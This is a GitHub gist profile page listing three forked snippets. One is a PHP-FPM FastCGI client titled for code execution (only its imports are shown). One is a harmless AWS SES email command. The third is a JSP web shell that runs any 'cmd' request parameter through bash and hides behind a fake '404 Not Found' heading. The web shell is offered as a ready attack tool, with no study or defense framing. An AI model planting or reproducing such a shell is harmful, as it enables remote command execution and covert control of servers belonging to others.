Skip to content

Instantly share code, notes, and snippets.

View aels's full-sized avatar
💭
No business. Everyone will die.

0xbadad aels

💭
No business. Everyone will die.
View GitHub Profile
@aels
aels / fpm.py
Created December 21, 2021 05:14 — forked from phith0n/fpm.py
Fastcgi PHP-FPM Client && Code Execution
import socket
import random
import argparse
import sys
from io import BytesIO
# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client
PY2 = True if sys.version_info.major == 2 else False
@aels
aels / aws_ses.bash
Created May 19, 2022 09:33 — forked from umrashrf/aws_ses.bash
Amazon AWS CLI - SES SEND EMAIL
sudo pip install awscli
aws configure
aws ses send-email \
--from "john@gmail.com" \
--destination "ToAddresses=mike@gmail.com" \
--message "Subject={Data=from ses,Charset=utf8},Body={Text={Data=ses says hi,Charset=utf8},Html={Data=,Charset=utf8}}"
@aels
aels / cmd.jsp
Last active August 25, 2022 11:08 — forked from nikallass/cmd.jsp
Simple JSP cmd shell
<H1><CENTER>404 Not Found</CENTER></H1>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
String error = "";
if(cmd != null) {
String[] commandAndArgs = new String[]{ "/bin/bash", "-c", cmd };
String s = null;
Process process = Runtime.getRuntime().exec(commandAndArgs);